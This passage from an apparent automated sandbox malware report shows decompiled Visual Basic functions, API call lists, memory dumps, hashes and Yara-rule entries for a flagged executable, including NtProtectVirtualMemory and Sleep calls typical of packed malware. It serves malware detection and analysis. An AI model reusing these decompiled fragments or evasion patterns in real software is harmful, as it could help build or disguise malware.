				signed int _v88;
				signed int _v92;
				char* _t52;
				char* _t56;
				signed int _t60;
				signed int _t64;
				char* _t66;
				intOrPtr _t82;

				_push(0x4014d6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t82;
				_push(0x48);
				L004014D0();
				_v12 = _t82;
				_v8 = 0x401450;
				if( *0x423010 != 0) {
					_v80 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v80 = 0x423010;
				}
				_push( *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x300))( *_v80));
				_t52 =  &_v40;
				_push(_t52);
				L004016B6();
				_v68 = _t52;
				_v48 = 0x80020004;
				_v56 = 0xa;
				if( *0x423010 != 0) {
					_v84 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v84 = 0x423010;
				}
				_t56 =  &_v36;
				L004016B6();
				_v60 = _t56;
				_t60 =  *((intOrPtr*)( *_v60 + 0x1b0))(_v60,  &_v32, _t56,  *((intOrPtr*)( *((intOrPtr*)( *_v84)) + 0x304))( *_v84));
				asm("fclex");
				_v64 = _t60;
				if(_v64 >= 0) {
					_v88 = _v88 & 0x00000000;
				} else {
					_push(0x1b0);
					_push(0x4031e0);
					_push(_v60);
					_push(_v64);
					L004016CE();
					_v88 = _t60;
				}
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t64 =  *((intOrPtr*)( *_v68 + 0x1ec))(_v68, _v32, 0x10);
				asm("fclex");
				_v72 = _t64;
				if(_v72 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x40316c);
					_push(_v68);
					_push(_v72);
					L004016CE();
					_v92 = _t64;
				}
				L004016D4();
				_push( &_v40);
				_t66 =  &_v36;
				_push(_t66);
				_push(2);
				L004016B0();
				_v28 = 0xe96b1dd0;
				_v24 = 0x5b07;
				_push(0x420ad6);
				return _t66;
			}

0x0042093f
0x0042094a
0x0042094b
0x00420952
0x00420955
0x0042095d
0x00420960
0x0042096e
0x00420988
0x00420970
0x00420970
0x00420975
0x0042097a
0x0042097f
0x0042097f
0x004209a2
0x004209a3
0x004209a6
0x004209a7
0x004209ac
0x004209af
0x004209b6
0x004209c4
0x004209de
0x004209c6
0x004209c6
0x004209cb
0x004209d0
0x004209d5
0x004209d5
0x004209f9
0x004209fd
0x00420a02
0x00420a11
0x00420a17
0x00420a19
0x00420a20
0x00420a3c
0x00420a22
0x00420a22
0x00420a27
0x00420a2c
0x00420a2f
0x00420a32
0x00420a37
0x00420a37
0x00420a43
0x00420a4d
0x00420a4e
0x00420a4f
0x00420a50
0x00420a5c
0x00420a62
0x00420a64
0x00420a6b
0x00420a87
0x00420a6d
0x00420a6d
0x00420a72
0x00420a77
0x00420a7a
0x00420a7d
0x00420a82
0x00420a82
0x00420a8e
0x00420a96
0x00420a97
0x00420a9a
0x00420a9b
0x00420a9d
0x00420aa5
0x00420aac
0x00420ab3
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00420955
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 0042097A
__vbaObjSet.MSVBVM60(?,00000000), ref: 004209A7
__vbaNew2.MSVBVM60(00401EF4,00423010,?,00000000), ref: 004209D0
__vbaObjSet.MSVBVM60(?,00000000), ref: 004209FD
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031E0,000001B0), ref: 00420A32
__vbaChkstk.MSVBVM60 ref: 00420A43
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040316C,000001EC), ref: 00420A7D
__vbaFreeStr.MSVBVM60 ref: 00420A8E
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00420A9D

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2$List
String ID:
API String ID: 2926503497-0
Opcode ID: d0c76c96439f59cece28d3f810ae552e8ed7ff56f73fd97875146e574a9a2660
Instruction ID: 135f815cd82bdfce6d4fb6f5987447131be79be086b69c9e6a2b38c33d6984c6
Opcode Fuzzy Hash: d0c76c96439f59cece28d3f810ae552e8ed7ff56f73fd97875146e574a9a2660
Instruction Fuzzy Hash: B341F971A00218EFCB10DFD1D845FAEBBB9BB08305F50442AF541BB2A2C7B96945DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00416DF6, Relevance: 15.1, APIs: 10, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00416DF6(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a24, void* _a48) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				char _v36;
				signed int _v44;
				intOrPtr _v52;
				intOrPtr* _v56;
				signed int _v60;
				intOrPtr* _v72;
				signed int _v76;
				char* _t43;
				signed int _t47;
				void* _t63;
				void* _t65;
				intOrPtr _t66;

				_t66 = _t65 - 0xc;
				 *[fs:0x0] = _t66;
				L004014D0();
				_v16 = _t66;
				_v12 = 0x401300;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x34,  *[fs:0x0], 0x4014d6, _t63);
				L0040168C();
				L0040168C();
				if( *0x423010 != 0) {
					_v72 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v72 = 0x423010;
				}
				_t43 =  &_v36;
				L004016B6();
				_v56 = _t43;
				_v44 = _v44 & 0x00000000;
				_v52 = 2;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t47 =  *((intOrPtr*)( *_v56 + 0x228))(_v56, 0x10, _t43,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x308))( *_v72));
				asm("fclex");
				_v60 = _t47;
				if(_v60 >= 0) {
					_v76 = _v76 & 0x00000000;
				} else {
					_push(0x228);
					_push(0x4031c0);
					_push(_v56);
					_push(_v60);
					L004016CE();
					_v76 = _t47;
				}
				L0040169E();
				_push(0x416f10);
				L004016D4();
				L004016D4();
				return _t47;
			}

0x00416df9
0x00416e08
0x00416e12
0x00416e1a
0x00416e1d
0x00416e24
0x00416e33
0x00416e3c
0x00416e47
0x00416e53
0x00416e6d
0x00416e55
0x00416e55
0x00416e5a
0x00416e5f
0x00416e64
0x00416e64
0x00416e88
0x00416e8c
0x00416e91
0x00416e94
0x00416e98
0x00416ea2
0x00416eac
0x00416ead
0x00416eae
0x00416eaf
0x00416eb8
0x00416ebe
0x00416ec0
0x00416ec7
0x00416ee3
0x00416ec9
0x00416ec9
0x00416ece
0x00416ed3
0x00416ed6
0x00416ed9
0x00416ede
0x00416ede
0x00416eea
0x00416eef
0x00416f02
0x00416f0a
0x00416f0f

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00416E12
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00416E3C
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00416E47
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 00416E5F
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416E8C
__vbaChkstk.MSVBVM60(?,00000000), ref: 00416EA2
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000228), ref: 00416ED9
__vbaFreeObj.MSVBVM60 ref: 00416EEA
__vbaFreeStr.MSVBVM60(00416F10), ref: 00416F02
__vbaFreeStr.MSVBVM60(00416F10), ref: 00416F0A

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$ChkstkCopy$CheckHresultNew2
String ID:
API String ID: 3000170971-0
Opcode ID: 9d1aa6e3eeda79987c40c09b131d42f285e8f1d9c39e8021003baf2f8d2486eb
Instruction ID: ad9db072732775de1501583f688838fef57fc290a788a2a3935c4c5002758890
Opcode Fuzzy Hash: 9d1aa6e3eeda79987c40c09b131d42f285e8f1d9c39e8021003baf2f8d2486eb
Instruction Fuzzy Hash: 6D31FA74901208AFCF10EF91D955BDDBBB5BF04704F24452AF4017B2A1CB79AA85DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004208AB, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E004208AB(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a20, void* _a40) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _t14;
				intOrPtr _t30;

				_push(0x4014d6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t30;
				_t14 = 0x14;
				L004014D0();
				_v12 = _t30;
				_v8 = 0x401440;
				L0040168C();
				L0040168C();
				L0040168C();
				_v24 = 0x6665;
				_push(0x42091d);
				L004016D4();
				L004016D4();
				L004016D4();
				return _t14;
			}

0x004208b0
0x004208bb
0x004208bc
0x004208c5
0x004208c6
0x004208ce
0x004208d1
0x004208de
0x004208e9
0x004208f4
0x004208f9
0x004208ff
0x00420907
0x0042090f
0x00420917
0x0042091c

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004208C6
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 004208DE
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 004208E9
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 004208F4
__vbaFreeStr.MSVBVM60(0042091D,?,?,?,?,004014D6), ref: 00420907
__vbaFreeStr.MSVBVM60(0042091D,?,?,?,?,004014D6), ref: 0042090F
__vbaFreeStr.MSVBVM60(0042091D,?,?,?,?,004014D6), ref: 00420917

Strings

ef, xrefs: 004208F9

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CopyFree$Chkstk
String ID: ef
API String ID: 1531721220-4253174128
Opcode ID: b146eb11d3f79e7b06df2eade4219455ca5e72474b24e8ed1fa46ffd7635bb68
Instruction ID: b43785bf41a49fff244edc6e0919f366d7149196573adb71e017b1fae1454e2d
Opcode Fuzzy Hash: b146eb11d3f79e7b06df2eade4219455ca5e72474b24e8ed1fa46ffd7635bb68
Instruction Fuzzy Hash: EBF0C970900209ABCF04EF56CC52EEEB778EF24748F54852AB501375F1EA796A05CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004214AB, Relevance: 13.6, APIs: 9, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004214AB(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a28, void* _a60) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				char _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v56;
				signed int _v60;
				char* _t39;
				signed int _t42;
				void* _t56;
				void* _t58;
				intOrPtr _t59;

				_t59 = _t58 - 0xc;
				 *[fs:0x0] = _t59;
				L004014D0();
				_v16 = _t59;
				_v12 = 0x4014a0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x24,  *[fs:0x0], 0x4014d6, _t56);
				L0040168C();
				L0040168C();
				if( *0x423010 != 0) {
					_v56 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v56 = 0x423010;
				}
				_t39 =  &_v36;
				L004016B6();
				_v40 = _t39;
				_t42 =  *((intOrPtr*)( *_v40 + 0x21c))(_v40, _t39,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x30c))( *_v56));
				asm("fclex");
				_v44 = _t42;
				if(_v44 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x21c);
					_push(0x4031c0);
					_push(_v40);
					_push(_v44);
					L004016CE();
					_v60 = _t42;
				}
				L0040169E();
				_push(0x4215a9);
				L004016D4();
				L004016D4();
				return _t42;
			}

0x004214ae
0x004214bd
0x004214c7
0x004214cf
0x004214d2
0x004214d9
0x004214e8
0x004214f1
0x004214fc
0x00421508
0x00421522
0x0042150a
0x0042150a
0x0042150f
0x00421514
0x00421519
0x00421519
0x0042153d
0x00421541
0x00421546
0x00421551
0x00421557
0x00421559
0x00421560
0x0042157c
0x00421562
0x00421562
0x00421567
0x0042156c
0x0042156f
0x00421572
0x00421577
0x00421577
0x00421583
0x00421588
0x0042159b
0x004215a3
0x004215a8

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004214C7
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 004214F1
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 004214FC
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 00421514
__vbaObjSet.MSVBVM60(?,00000000), ref: 00421541
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,0000021C), ref: 00421572
__vbaFreeObj.MSVBVM60 ref: 00421583
__vbaFreeStr.MSVBVM60(004215A9), ref: 0042159B
__vbaFreeStr.MSVBVM60(004215A9), ref: 004215A3

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Copy$CheckChkstkHresultNew2
String ID:
API String ID: 1208621462-0
Opcode ID: 6b8349a9fbb8ba90aaa7241ff7d0058c0fef0dbde80ef4481a6efcf39e9b08a3
Instruction ID: f862f684af4e8538c1c9617bb8a20a8fcf32a684c6a2b5e1caa2162bc5b0d4d4
Opcode Fuzzy Hash: 6b8349a9fbb8ba90aaa7241ff7d0058c0fef0dbde80ef4481a6efcf39e9b08a3
Instruction Fuzzy Hash: 7231F874A00218AFCB00EF91D985BDDBBB4AF58704F64446AF401772B1CB795A45DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00417193, Relevance: 12.1, APIs: 8, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00417193(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				char _v40;
				intOrPtr* _v44;
				signed int _v48;
				intOrPtr* _v60;
				signed int _v64;
				char* _t39;
				signed int _t43;
				void* _t54;
				void* _t56;
				intOrPtr _t57;

				_t57 = _t56 - 0xc;
				 *[fs:0x0] = _t57;
				L004014D0();
				_v16 = _t57;
				_v12 = 0x401340;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x28,  *[fs:0x0], 0x4014d6, _t54);
				L0040168C();
				if( *0x423010 != 0) {
					_v60 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v60 = 0x423010;
				}
				_t39 =  &_v36;
				L004016B6();
				_v44 = _t39;
				_t43 =  *((intOrPtr*)( *_v44 + 0x58))(_v44,  &_v40, _t39,  *((intOrPtr*)( *((intOrPtr*)( *_v60)) + 0x310))( *_v60));
				asm("fclex");
				_v48 = _t43;
				if(_v48 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x58);
					_push(0x4031c0);
					_push(_v44);
					_push(_v48);
					L004016CE();
					_v64 = _t43;
				}
				_push(_v40);
				E00402E00();
				L00401680();
				L0040169E();
				_v28 =  *0x401338;
				asm("wait");
				_push(0x417293);
				L004016D4();
				return _t43;
			}

0x00417196
0x004171a5
0x004171af
0x004171b7
0x004171ba
0x004171c1
0x004171d0
0x004171d9
0x004171e5
0x004171ff
0x004171e7
0x004171e7
0x004171ec
0x004171f1
0x004171f6
0x004171f6
0x0041721a
0x0041721e
0x00417223
0x00417232
0x00417235
0x00417237
0x0041723e
0x00417257
0x00417240
0x00417240
0x00417242
0x00417247
0x0041724a
0x0041724d
0x00417252
0x00417252
0x0041725b
0x0041725e
0x00417263
0x0041726b
0x00417276
0x00417279
0x0041727a
0x0041728d
0x00417292

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004171AF
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 004171D9
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 004171F1
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041721E
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000058), ref: 0041724D
__vbaSetSystemError.MSVBVM60(?), ref: 00417263
__vbaFreeObj.MSVBVM60(?), ref: 0041726B
__vbaFreeStr.MSVBVM60(00417293,?), ref: 0041728D

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkCopyErrorHresultNew2System
String ID:
API String ID: 1064351665-0
Opcode ID: 262f4e0e00509b048c7f52d09a292f2617b1ae3cace32a65ea7dbed3fb6984be
Instruction ID: 14c4602cea69e87ad3257617dc7dc0b0579afddda78302acff8797c0385299e5
Opcode Fuzzy Hash: 262f4e0e00509b048c7f52d09a292f2617b1ae3cace32a65ea7dbed3fb6984be
Instruction Fuzzy Hash: A931F671A00208EFCB00EFA5D885BDDBBB8BF08715F14846AF401B72A1CB795985DF68

Uniqueness

Uniqueness Score: -1.00%

Function 0041708A, Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0041708A(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				long long _v32;
				char _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v56;
				signed int _v60;
				char* _t34;
				signed int _t37;
				void* _t45;
				void* _t47;
				intOrPtr _t48;

				_t48 = _t47 - 0xc;
				 *[fs:0x0] = _t48;
				L004014D0();
				_v16 = _t48;
				_v12 = 0x401328;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x24,  *[fs:0x0], 0x4014d6, _t45);
				if( *0x423010 != 0) {
					_v56 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v56 = 0x423010;
				}
				_t34 =  &_v36;
				L004016B6();
				_v40 = _t34;
				_t37 =  *((intOrPtr*)( *_v40 + 0x1d8))(_v40, _t34,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x304))( *_v56));
				asm("fclex");
				_v44 = _t37;
				if(_v44 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x1d8);
					_push(0x4031e0);
					_push(_v40);
					_push(_v44);
					L004016CE();
					_v60 = _t37;
				}
				L0040169E();
				_v32 =  *0x401320;
				asm("wait");
				_push(0x41716c);
				return _t37;
			}

0x0041708d
0x0041709c
0x004170a6
0x004170ae
0x004170b1
0x004170b8
0x004170c7
0x004170d1
0x004170eb
0x004170d3
0x004170d3
0x004170d8
0x004170dd
0x004170e2
0x004170e2
0x00417106
0x0041710a
0x0041710f
0x0041711a
0x00417120
0x00417122
0x00417129
0x00417145
0x0041712b
0x0041712b
0x00417130
0x00417135
0x00417138
0x0041713b
0x00417140
0x00417140
0x0041714c
0x00417157
0x0041715a
0x0041715b
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004170A6
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 004170DD
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041710A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031E0,000001D8), ref: 0041713B
__vbaFreeObj.MSVBVM60 ref: 0041714C

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2
String ID:
API String ID: 4127847336-0
Opcode ID: 8e43b1f113a2635c495fd4ecfdd42be226f5807ae01cec24760cc79ec33e68b7
Instruction ID: 51b52e68e24471b04f684ab4439f02df790f6103d631e3ec29446a5cff5ef8c0
Opcode Fuzzy Hash: 8e43b1f113a2635c495fd4ecfdd42be226f5807ae01cec24760cc79ec33e68b7
Instruction Fuzzy Hash: 18210970A01208EFCB10DF95D989FDDBBB5BB08705F60446AF441BB2A0CB7A5E44DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00420AF7, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00420AF7(intOrPtr* _a4, intOrPtr* _a36) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _t19;
				void* _t25;
				void* _t28;
				void* _t30;
				intOrPtr _t32;

				 *[fs:0x0] = _t32;
				L004014D0();
				_v16 = _t32;
				_v12 = 0x401468;
				_v8 = 0;
				_t19 =  *((intOrPtr*)( *_a4 + 4))(_a4, _t28, _t30, _t25, 0xc,  *[fs:0x0], 0x4014d6);
				_push(0x403640);
				L0040157E();
				if(_t19 != 2) {
					_push(L"Livsanskuelse6");
					L0040163E();
				}
				_v28 =  *0x401460;
				 *((intOrPtr*)( *_a4 + 8))(_a4);
				 *_a36 = _v28;
				 *[fs:0x0] = _v24;
				return _v8;
			}

0x00420b09
0x00420b13
0x00420b1b
0x00420b1e
0x00420b25
0x00420b34
0x00420b37
0x00420b3c
0x00420b44
0x00420b46
0x00420b4b
0x00420b4b
0x00420b56
0x00420b61
0x00420b6a
0x00420b72
0x00420b7d

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00420B13
__vbaI4Str.MSVBVM60(00403640,?,?,?,?,004014D6), ref: 00420B3C
#532.MSVBVM60(Livsanskuelse6,00403640,?,?,?,?,004014D6), ref: 00420B4B

Strings

Livsanskuelse6, xrefs: 00420B46

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$#532Chkstk
String ID: Livsanskuelse6
API String ID: 1995879356-1686541529
Opcode ID: 46f89216adf755911989269a3844ec749e528c25adee4d07f6635334080545e2
Instruction ID: c3df073ffebc659a15a96ac77f4b6e0130fb636140fb70c7166bbbeaa2eccc60
Opcode Fuzzy Hash: 46f89216adf755911989269a3844ec749e528c25adee4d07f6635334080545e2
Instruction Fuzzy Hash: 3F012975A00208EFCB10DF99D94AB8EBFB4EB84754F108066F501AB2A0C3789950CB59

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 6412 Parent PID: 5948 SecuriteInfo.com.Mal.Generic-S.24480.exeCOMMON

Executed Functions

Function 00565676, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000005), ref: 005656DA
NtProtectVirtualMemory.NTDLL(000000FF,-0000101C,-00000018), ref: 00565723

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: MemoryProtectSleepVirtual
String ID:
API String ID: 3235210055-0
Opcode ID: 4aeebe82cb9d0af64b142349e87ddb5432d1fcb7daab4c5331f0df541c45c4ed
Instruction ID: f1227a9f4a51597af58dac7136a866cf51ad2c6b2888d20f7292f57f87b563c2
Opcode Fuzzy Hash: 4aeebe82cb9d0af64b142349e87ddb5432d1fcb7daab4c5331f0df541c45c4ed
Instruction Fuzzy Hash: 92016DB06847009FE7155F20CD8DBA47AA1BF293A5FA64688ED514B1E2E7B4C980CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00565571, Relevance: 1.6, APIs: 1, Instructions: 58nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,00000040,00000000,?), ref: 0056562D

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 7cc601e4a8216947d8eb1e4bc8578b290c1cedf8522753dd832bc21939b1e2ef
Instruction ID: 1a2b6baebe32300e715b3b0ebbb1f1369f22373dc54b43079677c4bfeb9b53b3
Opcode Fuzzy Hash: 7cc601e4a8216947d8eb1e4bc8578b290c1cedf8522753dd832bc21939b1e2ef
Instruction Fuzzy Hash: F60149711407015FD7109E18CDA9FD63B56FB663A0F944251EC53D71E2D775CC80CA10

Uniqueness

Uniqueness Score: -1.00%

Function 00565568, Relevance: 1.6, APIs: 1, Instructions: 56nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,00000040,00000000,?), ref: 0056562D

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 94bbcc7ed9e63baeca0630685a1da21887ee11739783a0645a7bfcc6f06be2cf
Instruction ID: 86e0a0a53a8d360a0c0a748de47de6011bef0bad0081efcd7ddd729bcc42d6f4
Opcode Fuzzy Hash: 94bbcc7ed9e63baeca0630685a1da21887ee11739783a0645a7bfcc6f06be2cf
Instruction Fuzzy Hash: 91014574140B016FEB105F28CCEABA63B66BF553A0F948291EC52D71E2E735CC81CA10

Uniqueness

Uniqueness Score: -1.00%

Function 00565586, Relevance: 1.6, APIs: 1, Instructions: 51nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,00000040,00000000,?), ref: 0056562D

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 2d015770987cf26a083a231806f4a9f27c649663c0d950d16be29814e2f02761
Instruction ID: 5b88bd20ae6427af010df4f42f7df9f5d7b7bbe59302cbbf84c0085b5c91bfdf
Opcode Fuzzy Hash: 2d015770987cf26a083a231806f4a9f27c649663c0d950d16be29814e2f02761
Instruction Fuzzy Hash: 69012475500B025FDB108E28CCB9BA53B66BB553A0FA48295EC52DB2E2D334CC81CA10

Uniqueness

Uniqueness Score: -1.00%

Function 005656F2, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-0000101C,-00000018), ref: 00565723

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e139a1812200b3c378dc86f995666d6ccf8c500fc6387f1f00f16ec8b414af0c
Instruction ID: a382bcbd7f977662336b184e6bda820e1cc55eeb2a16de2c33c4571a6b08ed59
Opcode Fuzzy Hash: e139a1812200b3c378dc86f995666d6ccf8c500fc6387f1f00f16ec8b414af0c
Instruction Fuzzy Hash: DCE09AB1440300AFEB014E34CD0C7953AA5AF293E9F120348A8614A1E6E3B8C9808B91

Uniqueness

Uniqueness Score: -1.00%

Function 00565606, Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,00000040,00000000,?), ref: 0056562D

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 45b486a2f403d740fc44ac0071e1c1df75a3b7932e31f18b8a141be4dae2ebe3
Instruction ID: 3312e5483fc323587259cb72f9fcbcbbed2838a404cc0cecb51bb22a6d816d0f
